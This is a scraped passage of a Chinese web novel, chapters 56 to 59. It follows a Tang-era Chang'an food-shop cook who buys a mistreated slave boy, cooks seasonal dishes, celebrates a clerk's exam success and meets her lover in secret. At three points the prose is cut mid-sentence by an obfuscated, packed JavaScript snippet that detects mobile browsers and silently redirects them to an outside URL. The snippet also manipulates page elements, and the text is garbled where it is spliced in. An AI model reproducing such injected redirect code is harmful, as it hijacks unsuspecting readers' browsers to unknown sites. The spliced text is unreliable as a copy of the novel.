这其次就是买奴婢太废银钱，是贵族的活动，最紧俏的那种昆仑奴，听说只效忠主人，愿为主人而死，所以深受贵族们的喜爱，价格直接到了三万贯钱。还有菩萨蛮，那是专门侍奉皇族、婀娜多姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881504|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，身携异香的少女。 这些奴隶算是贵族们的时尚单品了，与平民没什么关系。 段知微十分见不惯蓄奴制度，却也知自己微小无法改变什么，唯一能做的就是离这种奴隶市场远远的，不想今日竟然被蒲桃拉了过来。 一个奴隶商人正拿着鞭子满脸暴怒的站着，不知说了什么又抬起了鞭子，蒲桃赶紧喊一声：“住手！” 这些商人虽没什么人性，但极其擅长察言观色，蒲桃年龄小，穿的又朴素，商人瞟了她一眼并没有在意。 段知微虽然也只穿了件鹅黄的素色襦裙，头上却盘着袁慎己送的、那散发着月色清辉价格高昂的莹珠簪，商人望上一眼，立刻软和了神态道：“这位娘子，可是要买奴？” 他旁边是个跟蒲桃差不多大的小男孩，被绳索捆着，蹲在地上对着他们呲牙，这男孩蓬头垢面，头发脏的能打结，透过头发能看到他有一双墨绿色的眼瞳，似乎是混血，身上好几条深重的鞭痕。 段知微最见不得这种场景，当下满腔怒火冲到了脑袋上：“这孩子还小，你怎能如此对待他。” 奴隶商人以为遇到了主顾，没想到是个来伸张正义的侠客，当即又换了怠慢的嘴脸阴阳怪气道：“这位娘子，你去两京诸市署打听打听，某这儿的所有奴隶都有契券和保人，某想怎么对待他们，就怎么对待他们，您这就是告到圣人那儿去也没用啊！” 段知微被他一激，立刻道：“你这奴隶多少钱？我买了。”蒲桃躲在背后听她如此说，立刻投来崇拜的目光。 商人又换上一副讨好嘴脸：“不多不多，您也看到了这小泼皮不通人性，卖不上什么价钱，某亏个本儿，三千五百文如何？” 段知微一腔正义立刻灭去了三方，蒲桃担心她退缩，赶紧悄悄捏了捏她的掌心。 所谓开弓没有回头箭，再加上段知微确实同情心上头，加上食肆确实赚了些钱，因此只好硬着头皮跟他砍价：“你也说了这小男孩不通人性，如今看来竟是连长安话都不会说，我在宣阳坊开一家食肆，拿三千五百文换了他回去作甚，他是能在火房掌勺还是能在柜台算账？” 商人也知三千五百文开得高了些，只是想多些讲价的空间，听她说的也有道理，于是道：“那二千五百文，买个看家护院总是不错的。” 段知微冷笑一声：“一千文，多一分也没有，您可考虑好了，错过了今日，像我这种等于把铜钱扔水里的主顾可没有了。” 见商人仍在犹豫，段知微领着蒲桃就走，蒲桃急得死命拽她：“娘子，娘子!”段知微背对着商人，对着她使眼色。 见两人真要走，商人一咬牙：“一千文就一千文！” 段知微松上一口气。 她身上也没有带着那么多钱，只好让奴隶商人跟她回趟食肆，那商人把小男孩捆在驴车上就跟着她走。 段知微硬着头皮跟蒲桃面面相觑，虽然这个善心是发了，但是总觉得回食肆要挨人念叨了。 果不其然回了食肆，段大娘如同女高音的一声尖叫划破了宣阳坊上空的云彩。 57. 第五十七章 夜雨剪春韭 奴隶商人收了段知微一千钱，立完契心满意足的跑了，生怕都待一刻她就要反悔。 段知微只能磨蹭着走回食肆，跟蒲桃两个人缩在胡床上承受段大娘的滔天怒火。 “说是去东市买酱油,竟然买了个人回来，所幸这是没办法上天，不然是不是要把嫦娥的广寒宫买回来。” 段知微赔笑道：“这长安差不多的奴隶都得七八千，食肆扩张了正是缺人的时候，一千文钱也算是很划算了，不然雇佣个月佣人，一月也得是五百文。” 段知微企图以省钱的角度来劝服段大娘，不料后者严厉瞪了她一眼：“月佣人帮着洗洗刷刷，挑水劈柴何事不能做？”她指了指仍被捆在柱子上朝着众人龇牙咧嘴的男孩：“他呢？” 那小男孩被奴隶商人带来的时候还在剧烈挣扎，被商人绑到了食肆中间的一木柱子上。 中间段知微也想上去给他解开，他冲着段知微一阵低声呲牙咆哮，段知微怕手被他咬，赶紧缩了回去。 阿盘也当过流民，一路蓬头垢面饿着肚子漂泊到长安，似乎很能共情，壮着胆子蹲下身为他解开了绳索。 男孩冲着她扑了过去，在众人惊呼之下，阿盘将其抱了个满怀，而后摸摸他的头，低声安慰着什么。 一阵挣扎后，男孩很神奇的在她怀中冷静下来，阿盘温身安慰道：“已经没事了。”而后抬头看向段大娘：“大娘，这孩子实在是可怜，那一千钱你确实也出得冤，不如那钱从我工钱里扣吧。” 段大娘听了她这话，哪儿好意思再说什么，只好悻悻闭了嘴。 阿盘烧了一整桶水想要给他洗澡。甄回昏睡了三日精力大盛，想着同为男子，他来帮忙会比较方便，撸上袖子就过来了，结果被木桶里的小男孩泼了一身水，只能遗憾退场，灰溜溜回库房换衣裳了。 食肆也没有小男孩能穿的衣裳，段知微便去衣帽肆临时买了一套。 待回来，他也已经洗完澡，换上干净衣服就像换了个人般，他的身形过于清瘦，寻常衣服穿着极其不合身，段阿盘只好给他挽紧了些衣袖。 他有一头蓬松的头发，肤色黝黑还带着伤疤，虽然是一双可爱的圆圆眼，但是眼眸里带了些野性难训的锋利。 而同龄的蒲桃纯真娇憨，眼里只有清澈的对食物的渴望，这一番对比下来，段大娘都生起了些同情，不知他经历了什么样的苦难。 想到他身上深深浅浅的鞭伤，阿盘拿了些自己的积蓄动身去医肆买药膏去了。 蒲桃围着他转了几圈，扭过身对着段知微讲：“娘子，他看上去像个小狼崽一样毛茸茸的，要不我们叫他小狼吧。” 段知微正忙着跟来送菜的菜肆伙计讨价还价，也无心计较一个小孩的名字，只胡乱点点头，蒲桃欢呼一声拉着他要去买糖。 长安二月春初醒，春风已然在坊间轻柔穿梭，渭水河上的冰面开始消融，渔夫们为了冰下肥厚的青鱼，起个大早就开始敲冰，冰裂声此起彼伏，各色时蔬伴着一场春雨，也到了可以收割的时候，长势十分喜人，价格也比寒冬降了不少。 就像今日，菜肆运过来一车荇菜、茭白、韭菜，绿油油的，叶片也肥厚，看着就新鲜。 这边段知微选了些新鲜肥嫩的春韭，韭菜乃是本朝最常见的蔬菜之一、价格也低廉，段知微甚至在后院也载种了些，只待春雨如油飘落，一畦带着泥土芬芳的春韭就能被收割，做出各种各样的美味吃食。 她准备用这些韭菜烙一些韭菜盒子当朝食卖。 几枚鸡蛋嗑入碗中，用筷子轻搅。蛋液在红橙与金黄中翻滚，打入油锅中，边缘泛起诱人的焦香脆边，用铲子馋碎了盛出来，再添上几勺河虾，切碎的绿色韭菜和晶亮的粉条，倒上酱油、香油等搅拌。 面皮的部分则是用发好的面，那样烙出来更加的酥脆，层次感也很好，段知微看那面团已经醒透，开始低头搓分剂。 蒲桃买完糖，和小狼两个人安静在一旁站着。段知微招呼他们过来，手把手教他们如何把剂子擀成中间厚、边缘薄的饼皮。 一小块剂子放到小狼手上，他的神色还是很多戒备但是明显淡了下来，此刻一脸好奇望着手上柔软的面团，段知微蹲在他身后，环住他的手，轻声细语教他把翠色馅料裹入面皮子里，手握着他的手指灵动的捏一下，韭菜合子精致的麻花花边便出现了。 段知微敏锐的发现，这小孩在做菜上头还真是颇有一些天分，在蒲桃还在纠结为什么馅心会从皮子边上冒出来的时候，他已经能自己动手做出一个圆润饱满的韭菜盒子。 段知微记得自己当年学的时候，还废了不少面皮才捏出了差强人意的形状。 这一千文铜钱花得也太值了些，她想。 在食肆门口起锅热油，把韭菜盒子一个个有序放入，随着“滋滋”轻响和馥郁香气弥漫，韭菜合子底部开始渐成金黄，待到面皮鼓胀到一定程度，再翻过来继续烙。 刚出锅的韭菜盒子隐约可见里头饱满的翠色馅料，段知微拿个大竹篾子，整齐摆好，就搁在食肆门边上。 她但凡做个香味大的东西，都放在门外好招揽食客，这韭菜盒子香气扑鼻的往外释放，她还在煎烤时就有几个老食客往旁边一站等了。 她拿了两个给小狼、蒲桃一人一个。 这韭菜盒子边缘包得很紧，又煎得金黄酥脆，把里头春日时鲜的蓬勃美味紧紧锁住，咬上一口，先是酥脆的外壳，嚼得“咔嚓”作响，片片薄脆落到地上。 内里的皮则是软糯有嚼劲，新割的韭菜裹挟爽滑鸡蛋碎和软糯粉条，春韭辛辣，粉条咸香，多种滋味在唇舌间释放，似乎咽下去囫囵一整个春天。 这个韭菜盒子果然大受欢迎。 一直卖到黄昏了食客才散去。 过了宵禁，段知微也懒得烧晚饭了，一人发了两个韭菜合子当暮食，蒲桃白日吃得肚皮圆滚滚的，直直摆手说再也吃不下了。 阿盘给小狼身上的伤痕都细细抹了药，现在他浑身散发着浓郁的药油味儿，众人只觉得他悲苦，投过去同情的眼神。 只他自己不知，白天的时候他已经吃了三个韭菜合子，眼下又把两个吃完，还吃了蒲桃吃不下的两个，总共吃了七个，见食案上还有一盘烤得滋滋冒油的烤腊肠，他又眼巴巴地盯着。 阿盘赶紧把那盘腊肠放到他面前，他用手抓着就吃了起来。 “这可不行”甄回阻止道：“荀子曰，人无礼则不生，事无礼则不成，国家无礼则不宁，这礼仪之道必须从小做起，吃饭需用筷子，怎么能用手抓着就吃呢？” 在座的除了上过学的段知微没人听得懂他在讲什么，更遑论小狼了，再又被呲了顿牙以后，甄回委屈巴巴的说：“你们看看他嘛，这要是在学堂，夫子是要打手心的。” 阿盘把筷子塞到他手中，开始教他怎么用筷子。 小狼不太情愿，但是也乖乖照做了。 新买的那家肆铺后面正好还空了几个房间，只是还没整理，段知微带着阿盘和蒲桃挑了最大一间，囫囵打扫了一番，而后铺好床榻给小狼用。 他懵懂站在那，似乎不知道要怎么办，而后直接原地趴了下来。 几个人面面相觑了一番，最后还是阿盘把他抱到床榻那，给他盖上了被子。 蒲桃担忧道：“他若是半夜溜出去怎么办啊。” 旁的倒都还好，若是犯了宵禁，被武侯捉到，当街便要被打的。 阿盘犹豫了会道：“那今夜我在这陪着吧。” 说话间这小狼便睡熟了，段知微觉得这个方法算是最好的了，点点头也回房了。 白日一直受着煎烤的油烟，她觉得自己头上都是一股油腻腻的味儿，段知微央着姑母也为自己烧了锅滚水，准备好好沐浴一番。 赚了钱就是不一样，原先她的房间还只能用上豆大点火芯，如今也是用上了羊角灯，羊角熬成半透明的薄片做罩子，效果出奇得好，把房间照个通明。 她坐进放满温水的木桶里头，感受蒸汽不断扑腾到脸上，惬意伸了个懒腰，而后拿起胰子开始擦洗。 寻常百姓用的都是几分钱一个的皂角，那是皂荚树结的果实，把皂角捣烂做成球状加水搓揉出的泡泡可以洁净身体。 段知微手上的胰子则是袁慎己送给她的，是宫中赐给官员休沐而用的珍品，据说由药王孙思邈发明。 跟平民用的皂角相比，这胰子添置了豆粉和各色贵重香料，还兼有冻疮膏的用途。 涂抹完后脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894777|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、手上滑滑的，段知微平日里干活，用了这个以后手上都没再裂过口子。 洗完后她觉得轻快多了，身上散发着清淡沉水香，段知微绞干头发，也差不多到点睡觉了，春雨却突然不期而至，轻微落下的“沙沙”声如同春蚕在嚼桑叶一样，在静谧夜间听着像一曲温润的琵琶曲。 这春雨不错，还能助眠，她这么想着，安稳躺进了柔软被窝里。 下一刻却突然弹跳起来，她想起院里新种的春韭，还有晾着的酸浆和酵面。 段知微打上一把油纸伞，快步进了庭院里，举着灯细细看一遍新种的春韭，被春雨润过后如同绿绸油亮光滑，一畦畦挨挤在一起卯足了劲儿往上蹿，看上去长势喜人。 她松一口气，转身又想找上一块布遮住酸浆和酵面，这是她烘烤面包最重要的材料，可不能毁了。 只是她一手撑伞，一手掌灯的不是很方便，若是要把伞放下，那刚洗过的头得淋雨，若是把灯放下，今夜没有月亮，只能摸黑干活了。 她都不是很情愿。 一只大手自后面伸过来接住她的灯，段知微吓了一大跳，以为遇上了贼人，那只手很快拉着她往自己怀中一带。 段知微跌入一个宽阔的胸膛。 是袁慎己，他的下巴几乎要贴到她的头顶，而后那熟悉低沉的声音自耳边响起，温热呼吸几乎要饶到她的耳廓上：“是我。” 段知微连忙转头，一下子撞进那双带着笑意的深色眼眸中，绯色一下从她的脸颊烧到耳朵。 她指挥着袁慎己用一块布匹遮住酸浆和酵面，雨势又大了起来，两个合一把伞站在雨中多有不便...... 她只好把袁慎己请进了自己的房间。 而后拿起小炉子想为他雨夜的奔袭熬上一锅姜汤：“看样子场院将都尉放出来了。” “今日下午放出来的，明早春闱放榜。”袁慎己盯着她，就像看不够似的：“食肆多了个孩子？” 段知微佯装生气把那碗姜汤塞进他怀里：“看样子都尉下午很忙啊，过了食肆瞧见了都没空跟我打声招呼就走了。” 后者一把拉过她坐到自己腿上，有力的臂膀将她圈入怀中，轻嗅她身上的沉水香：“本来要进来的，后来改了主意。” 他想她想得紧，刚出了场院立刻就飞马到了宣阳坊，不知她又做了什么新菜式，忙得食肆前围了一圈食客，他坐在马上，勉强看到她站在一个小男孩身后，温柔环住他，教他在做什么面皮。 他觉得有点羡慕。 于是袁慎己改了主意，回府邸中细细沐浴换了身干净的玄色澜袍，想晚些再去也讨上一个温柔的拥抱，没想到遇到几个文书要处理，耽搁了一下，又到了宵禁时分，虽然觉得遗憾，但是也只能等明日了。 只是雨夜更容易蜷住人的情思，他在自家花园漫步两圈，被一枝杏花勾了衣裳。 这让他想起上元佳节的夜里，东市人流如织，为了不被人群冲散，她也如这杏花般伸出手勾住他的衣角。 于是袁慎己觉得自己等不及白日了，借助金吾卫的天然优势，他骑了马大摇大摇违了宵禁，在这春雨如酥的夜晚赶过来给她一个拥抱。 一枝沾了春雨的杏花被他从怀里掏出，簪到她头上，而后他说：“袁某府中开了今春第一枝杏花，想来十分衬你。” 段知微轻轻抚一下头上别着的杏花，她的脸烫的厉害，轻声问他：“好看吗？” 她的脸在烛光里镀上一层温柔色泽，娇美杏花挽住她的长发，几丝碎发垂落在白皙脖颈边。 袁慎己觉得她仿佛就是仙山深处的杏花仙，天真烂熳，眸若清泉。 而他的心原本是一片干涸地，如行尸走肉横行人间，青帝派了这位杏花仙来人间搭救他。这仙子掌着春日生机，用神力润泽他心中那片干涸地。 于是袁慎己的眼神越发炙热起来，粗粝指腹摩挲一下她的脸，点点头道：“吾妻甚美。”而后箍紧她的腰身，扣住她的后脑勺，吻了上去。 窗外雨势渐大，滴在青色屋瓦之上，又顺着瓦槽潺潺而下，朱雀街的龙头渠因春雨量渐长，终南山经过一场春雨洗涤，又是满目鲜明香浓的翠色，似乎整个长安，都以一种蓬勃之姿，生机盎然了起来。 58. 第五十八章 第二日破晓，许是下了一夜雨，晨雾如一层轻纱慢笼在长安城上。院间的沁红色茶梅凝着隔夜的露珠在熹微晨光中闪烁。 阿盘觉少，每日都第一个起床，她伸个懒腰，提着木桶到了井边上，看到段知微难得比她起得还早，正站在墙根边上不知做什么。 听到轱辘汲水声，段知微吓了一跳，转过身看到阿盘，阿盘关切道：“清晨寒凉，你怎么站在那儿，脸色都快跟茶梅一样红了，莫不是着了风寒？” 那自然不是，她只不过刚送情郎翻墙离开而已。 本朝民风开放，妇女离婚、再嫁之风盛行，少女结交情好亦是寻常。就连欧阳修都写一首《望江南》给男女幽会评了个浪漫注脚“身似何郎全傅粉，心如韩寿爱偷香。” 西晋时期的韩寿尚且敢翻墙去找权臣的女儿半夜幽会，何况这是民风开放、世界的中心长安呢。 想通了这点，段知微的心虚便少几分，她打个哈欠准备回去再补补眠。 今日放榜，甄回一早便坐立难安，惨白着脸嚼完一块干巴蒸饼后，像一个提线木偶手脚并用着出了食肆。 很快便是三月三上巳日，食肆们早早订好了一车荠菜，炖上一锅荠菜煮鸡蛋，民间有“春食荠菜赛仙丹”的说法，据说吃了这个可以防春瘟，一年中腰腿不疼。 段知微也熬煮了一锅荠菜鸡蛋，又推出了香椿芽拌面筋、嫩柳芽拌豆腐等清淡的春日限定菜。 听医肆的大夫说春日以补肝为要，她又去肉肆买了些猪肝，按照阿盘的说法，广府春日盛行喝猪肝粥，在段知微看来，这应该就是现代及第粥的原型。 袅袅炊烟从食肆上空升起，今日门口支了个硕大的砂锅，里面雪白浓稠的粥浆咕噜咕噜翻滚，为了不防止糊底，段知微和阿盘只能轮流拿着长勺不断搅拌。 里头爽脆猪肝、粉嫩猪肉等料放得满满的，在绵密粥底间若隐若现，段知微一向舍得在菜里放料，这也是段家食肆口碑在坊间还不错的原因之一。 那烫人粥浆里每一个气泡破裂都有鲜香气溢出来，很快吸引了过往的食客，陆续有食客过来吃朝食。 正是春日乍暖还寒时分，在路上走被春风吹得冻人，往食肆里一坐，一碗热情腾腾还在咕噜咕噜冒泡的粥便送了上来。 轻轻吹散热气，舀上一勺，浓稠米粥入口即化，瘦肉鲜香嫩滑、猪肝粉糯，姜丝胡椒的辛辣和葱花的清香一起顺喉而下，驱走了初春的寒凉。再配上一小碟腌渍过的雪里红，口感脆爽多汁，搭配白粥十分开胃。 想来是乡贡们都去看放榜了，今日早晨来吃朝食的人不多，段知微也乐得清净，只担心甄回能不能上榜。 食肆众人也都挂念着这事儿，干活都有些心不在焉，直到晌午日头高了，甄回又惨白着脸回来，而后往门口小胡床上一缩，愣愣看着门口蓬勃生长的香椿树。 “看样子凶多吉少啊”“算了还是不要过去问他了，不要打击到他”段知微和段大娘咬耳朵。 只见甄回突然从胡床蹦跶起来，而后张开双手狂呼道：“中了！” 还在措辞要怎么安慰他的众人愣住了。 甄回跑到每个人跟前都欣喜来一句：“中了！”而后就直接站在食肆门口跳起了欢快的胡腾舞。 胡腾舞乃是男子的独舞，动作简单不过是些腾踏跳跃，在凉州很盛行，在长安很多酒楼也有，只不知他是从哪儿学来的。 只是这舞得壮硕胡人男子跳才好看，诗人李端曾在《胡腾儿》里描写：“胡腾身是凉州儿，肌肤如玉鼻如锥。桐布轻衫前后卷，葡萄长带一边垂......” 因此穿着灰色澜袍、身形不足却挥着袖子在蹦跶的甄回，看着真的很像被什么不干净的东西的附身了一样。 搞得食客以为他疯了，都不敢靠近了，还是段大娘壮着胆子把他拉回了食肆里，他进了后院，又在井边上开始跳起了舞。 食肆众人也很为他开心。 不过晌午时候很忙，一年能上榜的乡贡最多不超过三百人，真真是千军万马过独木桥，因此来食肆用午食的大都是落榜的，食肆里头围绕着浓厚的愁云。 至于那些上了榜的，哪里还能看上这样的小食肆，早早欢天喜地去了平康坊，“看尽长安花”去了。 甄回兴奋在后院蹦跶了一中午，也不用饭也不喝水，最后还是段知微来了一句：“还有殿试呢，你不要乐极生悲被圣人亲自刷下去。” 甄回立刻又蔫了。 自家食肆出了个进士，这也算是天大的荣耀，段知微在食肆门口挂了个牌子： “本店账房中了进士，今日进食肆用饭食客，免费领取一碗荠菜煮鸡蛋。” 鸡蛋最近价格不低，段大娘有些心疼。 段知微就很长得开了了，这怎么着也算是个宣传手段，以后每年来长安赴考的书生们，为图个吉利，想必也愿意来这里坐上一坐。 岂料书生们没招来，招来一群牵着小孩的妇人，都是宣阳坊的普通居民，要来吃一碗鸡蛋粘粘喜气，期待自家小孩儿以后也能考上进士。 食肆备着的鸡蛋存货很快就消耗光了。 忙碌了一日，到了晚间时分，食肆都打了烊，袁慎己又从后墙翻了进来。 段知微正躺一春藤长条凳上兴致勃勃翻看话本子，看他进来问他有没有用过暮食。 天子即将在曲江畔杏花林宴请新科进士，金吾卫忙着曲江畔护卫布防，也是累得够呛。 袁慎己见她身边一碗金橘团，一碟米糕，便拿了米糕咬了两口笑道：“还是你清闲。” 段知微揉揉脖子抱怨：“白天也忙了一日呢。” 一碟子米糕，袁慎己三两口便吃完，便知他是饿了，因问道：“要不要给你下一碗韭花酸汤馎饦？” 这馎饦还是段知微晚上随意煮的，吃起来很开胃，酸辣过瘾，大家都很喜欢吃，连汤都不剩。 她站起来准备去火房，被他一把抱住，手臂微微收紧，而后又松开，目光含笑道：“今晚还是不吃韭菜了。” 段知微反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909057|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应了一会儿才知道他什么意思，竟是嫌韭菜味大，不好亲近。故而瞪他一眼要推开他。 袁慎己顺势将她搂入怀中，坚实肩膀让她靠着：“今夜还需去朱雀大街巡视，过会我就要走了。” 二人依偎一起说了会小话，袁慎己见天色差不多了松开她：“王潜新写了出戏，后日我休沐带你去看。” 那王潜明明是世家子弟，不爱功名只爱写各种话本子，还承接寺庙俗讲故事，倒也是个洒脱的人。 这人写得本子也都颇有意思，因此段知微也是开心答应了，马上长安的乡贡们都要离京了，这几日也颇为清闲。 段知微没料到戏楼里已经满满当当围坐了一群看客，连个落脚的地儿都没有，还是穿梭其间的茶博士把他们引到了二楼雅间。 王潜笑眯眯在雅间等着了，过了个春节，他似乎又胖了一圈，笑起来像尊弥勒。 几人寒暄一下便坐下，面前食案上放了几碟桃花酥，段知微拿起一块尝尝，里头是桃肉的清甜与蜂蜜的香醇结合在一起，层次很丰富，段知微又学到一手。 台上大幕将将拉开，今日这出《仙人画》，讲得是一位进士在一个书肆爱上了一副画中的美人，书肆肆主道：“画中女子名唤真真”若是把画带回家，每日呼喊她的名字，再倒上百家草灰酒，她或许能从画中走出来。” 为了使美人从画中走下来，进士每天每夜都在呼唤她的名字，一百天后，美人果然从画中走了下来。 二人和睦恩爱，美人还为他生了个儿子，不料一日进士朋友撺掇道：“你家夫人既是从画上来的，那必然是个妖怪，你不杀她，迟早成祸害！” 进士听了信以为真，拿起剑欲杀她，美人哭诉道：“妾乃南岳地仙，被你情谊打动所以来与你结一世夫妻，如今看来是竟然是情意已绝。” 于是带着孩子回到画中，那画中美人依旧，只是身旁多了个孩子。 进士见了，万分后悔。 这出戏跌宕起伏，倒是赢得了满室喝彩，段知微听了一肚子火：“好歹给他生了个孩子，竟然听了个谗言便提剑要杀人，此等败类还有脸哭。” 王潜作为写话本子的创作者，向来喜爱听读者的反馈，这出《画中美人》写完，许多娘子看了便是感慨故事凄美，更有甚者希望他能续上一个好结局。 这大肆批判的倒还是头一个，于是他问道：“照段娘子看，应该是个什么结局才好？” 段知微道：“这种是非不分的烂人还能中个进士，他若当了官也是昏官，可别误了朝廷和百姓，趁早递了辞呈，回乡抱着画慢慢哭去吧。” 王潜听了哈哈大笑。 袁慎己听了她一长段长谈阔论，怕她说得干渴，不动声色推了杯茶到她跟前。 袁慎己驾马车送她回宣阳坊时，她还在喋喋不休，很快又望向袁慎己问道：“若我真是狐精，你还愿喜欢我吗？” 袁慎己觉得她这话问得有趣，不禁笑着望她：“狐精又如何，你这般好，狐精我也认了。” 59. 第五十九章 春夜温泉私会 二月春闱很快便落下了帷幕，甄回经过了谢恩、期集、闻喜宴等一系列活动后，又在尚书省吏部参与“关试”。 合格后便能授得官身，再之后便是曲江游赏、杏园探花、大雁塔提名等一系列活动，甄回在杏园采了满满一束杏花，送到了食肆里。 通善坊的杏园乃长安名园，轻易不对外开放，附近的百姓为了亲眼见识下这杏花，纷纷赶来段家食肆欣赏。 段大娘骄傲极了，特特换上了芥拾紫的绫夹衫子，一朵大红绢花牡丹斜插鬓角上，脸涂抹的煞白，就坐在食肆门口摇着扇子接受众人的恭维，她一笑，脸上的粉就扑簌簌地掉。 除了食客，媒婆们也快踏破了段家食肆的门，这一次春闱进士最多三百人，还算上了已经成婚的，世家子弟自有父母做主，像甄回这种年轻、刚入仕，家境又一般的进士，便成了疯抢的对象。 只不过段大娘也不好做他的主，只好在一旁吹吹风，拿了各家女子的画像跑去找甄回让他相看，甄回憋红了一张脸，结结巴巴也说不出个所以然，最后道：“暂时不想成亲......” 人家不愿意，不能给人绑了塞出去吧，段大娘只得罢了。 这边三月三上巳节正是踏青出游的好日子，段大娘喊了食肆众人去城外一处温泉别馆春浴修禊，届时用兰草洗身，再把杨柳枝沾上些水点点额头和身上，据说是可以辟邪祈福。 段知微大方了一回，今日雇了一辆稳当的大牛车，又装了许多桃花酥、艾草豆沙青团给装到上车。 初春三月的长安渭水河，水面浮着碎金似的日光。几人还在牛车上，便听得远处传来羯鼓声，三五郎君骑着银鞍白马飞驰而过，宝马香车挤在曲江大道，上巳乃大节，想来是全长安的百姓都去水边踏百草了，牛车在城门口附近堵了好一会儿，才继续往前通行。 蒲桃早早趴在段大娘的腿上睡着，段大娘百无聊赖撩起帘子又放下，转身打量起了段知微。 段知微颇有一些不自在起来：“看着我做什么。” 她今日穿了一件艾绿色齐胸襦裙，腰间蹀躞带挂着一颗鎏金香球，她又生得白净，因此看着倒是比平常粗布麻衣时漂亮不少。 段大娘眯着眼睛露出一丝了然笑容：“今儿这打扮倒是真漂亮。”她话音一转：“不过，上巳怎么不去会会情郎。” 上巳倒是也有情人节的作用，适婚男女到城外踏青，泼水相戏，此乃自由择偶，若是看对了眼，互送芍药来定情。 段知微无奈道：“他今日有事。” 官员在上巳是有休沐假期的，只是袁慎己掌管金吾卫，今日还需值半日班，二人说好夜间在温泉别馆相会。 蒲桃睡得满脸印子，迷迷糊糊醒过来问：“娘子何时有的情郎？” 段知微拿起一把糖塞进她嘴里：“大人的事情小孩子别管。” 她谈恋爱这件事谁也没告诉，如今阿盘跟这小狼睡到隔壁院子里头，蒲桃也每日都回自己家，食肆里只有段知微和段大娘两个人，只不过段大娘三日有两日不在家，都去酒肆喝个通宵去了。 这给段知微夜间约会提供了极大的便利，只不过自家长姑长了一双火眼金睛，语重心长的跟段知微道：“最近总是下雨，攀爬后墙以后容易落下脚印，以后记住毁灭证据。” 段知微：“......” 长安城外的野温泉数量不少，因此温泉别馆修建的也多。只不过这别馆一年四季只在三月开放，接待人数很有限，今日食肆赚了不少银钱，段大娘选择了最贵的那家。 价格高的就是不一样，房舍内铺设着织花地毯，踩上去柔软无声，就连帐幔都是上等的蜀锦。 只不过因为昂贵，食肆五人要挤在同一间罢了。 几人修整一番，就到了河水边坐下，已经不少人在坐到草上席塌，有些讲究的还要摆上绣花屏风，身边跟着持扇的仆从，饮酒喝茶，赏花赏水。 上巳还有曲水流殇的习俗，温泉别馆的伙计在水的上游将煮熟的鸡蛋投下，任鸡蛋在水中漂流，在下游的人可以捡着吃。 大人对此习俗还尚可，小孩倒是很喜欢，蒲桃和小狼两个人卷了裤脚，在水里捡鸡蛋就没停下来过。 段知微和阿盘随意捡了两株野草正在斗草，段大娘饮上一杯又一杯的绿蚁酒，看水边桃花飘飘飘落进河水中。 水边很是热闹，只突然传出了一声婴儿的哭声，与这热闹气氛极度不适宜，几人闻声望去，隔壁围坐着一男两女，婴儿哭声便是从那传来的。 抱着婴儿的妇人迎着路人眼光颇为尴尬，赶紧站起来要走，只听得那坐着的郎君不耐烦道：“让你别带你偏带，真是坏了这上巳气氛。” 阿盘最见不得小婴儿哭，走了过去看看妇人有没有什么要帮忙的，二人说了几句话后一同回了别馆。 段大娘又饮一碗酒：“看来这又是宠妾灭妻的人渣了。” 段知微吃一块青团，因问道：“如何能看出来。” 段大娘道：“正妻穿着隔年的老派靛青菱花袄，小妾身着今年时兴的石榴红绛纱，这还不能说明问题吗？” 作为长安时尚达人，段大娘的眼睛就是尺，段知微对这种人毫无好感，但也没有跑过去批判人家的道理，只好默默坐着吃糕点。 因此当姗姗来迟的甄回跟隔壁那个“人渣”互礼打完招呼过来坐下时，食肆众人都给了他一个极度不爽的表情。 甄回莫名其妙坐下，伸出去够桃花酥，被段大娘一把夺过。 他挠挠头：“这是怎么了？” 众人把隔壁那郎君吼自家夫人的事情跟他一讲，甄回道：“与他互礼是因为他也是今年春闱的新科进士，关试的时候他就站在我后面......” 而后他茫然抬头：“你们应该听说过他啊，那风靡长安的怪谈，《画中美人》里的进士，南阳赵氏郎君。” “这么说，那位妻子是画中走出来的美人吗？”段知微听到这出怪谈，立时有了精神。 甄回道：“不是吧，赵郎君是在长安买了一幅美人图之后，家中便新纳了一房妾氏。” 谣言是书肆肆主传出来的，据说这赵郎君对妾氏颇为喜爱，特意摆了一桌酒，也请了书肆肆主。 书肆肆主回去后到处宣扬，赵郎君新娶的美貌妾氏珍珍，跟他卖给赵郎君的美人图上一模一样。 众人只当肆主喝多了酒，也并不当真，不过这故事听上去新奇有趣，竟然被写成了话本子，一时间风靡长安。 段知微刚勾起的兴趣瞬间没有了。不用多说了，这肆主定然是胡编乱造趁机给自家书肆做宣传呢。 